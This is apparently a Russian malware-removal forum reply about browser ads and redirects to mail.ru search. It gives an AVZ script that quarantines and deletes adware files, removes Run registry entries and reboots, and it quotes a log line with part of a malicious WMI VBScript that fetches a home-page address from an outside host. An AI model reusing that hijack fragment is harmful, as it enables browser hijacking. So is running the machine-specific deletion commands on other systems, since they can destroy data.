Реклама в браузере и принудительная переадресация на поиск mail.ru - Удаление вирусов - Ответ 9776190

begin
ExecuteFile('net.exe', 'stop tcpip /y', 0, 15000, true);
 QuarantineFileF('c:\program files (x86)\dpower', '*.exe, *.dll, *.sys, *.bat, *.vbs, *.js*, *.tmp*', true, '', 0 ,0);
 QuarantineFile('C:\Users\Настя\AppData\Local\Temp\new-super-ext.exe', '');
 QuarantineFile('C:\Program Files (x86)\DPower\B57SWZGP7E.exe', '');
 QuarantineFile('C:\Users\Настя\AppData\Local\Temp\TS78HLTYY\TS78HLTYY.exe', '');
 QuarantineFile('C:\Users\Настя\AppData\Local\Temp\5B35Y5FKW\5B35Y5FKW.exe', '');
 DeleteFile('C:\Users\Настя\AppData\Local\Temp\new-super-ext.exe', '32');
 DeleteFile('C:\Program Files (x86)\DPower\B57SWZGP7E.exe', '32');
 DeleteFile('C:\Users\Настя\AppData\Local\Temp\TS78HLTYY\TS78HLTYY.exe', '32');
 DeleteFile('C:\Users\Настя\AppData\Local\Temp\5B35Y5FKW\5B35Y5FKW.exe', '32');
 DeleteFileMask('c:\program files (x86)\dpower', '*', true);
 DeleteDirectory('c:\program files (x86)\dpower');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','001dae8c');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','46YR92KSV3');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','MX4EKZH4SC');
 RegKeyParamDel('HKEY_CURRENT_USER','Software\Microsoft\Windows\CurrentVersion\Run','CLOGKR9XCG');
ExecuteSysClean;
 ExecuteWizard('SCU', 2, 3, true);
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
RebootWindows(true);
end.

O25 - WMI Event: ASEC - EventFilter sethomePage2 - Dim xmlHttp:Dim homePageUrl:Set xmlHttp = CreateObject("MSXML2.XMLHTTP"):xmlHttp.open "GET", "http://bbtbfr.pw/GetHPHost?"&Timer(), False:On Error Resume Next:xmlHttp.send:if xmlHttp.status = 200 then:homePageUrl= xmlHttp.responseText:end if:Dim objFS:Set objFS = CreateObject("Scripting.FileSystemOb(2626 bytes)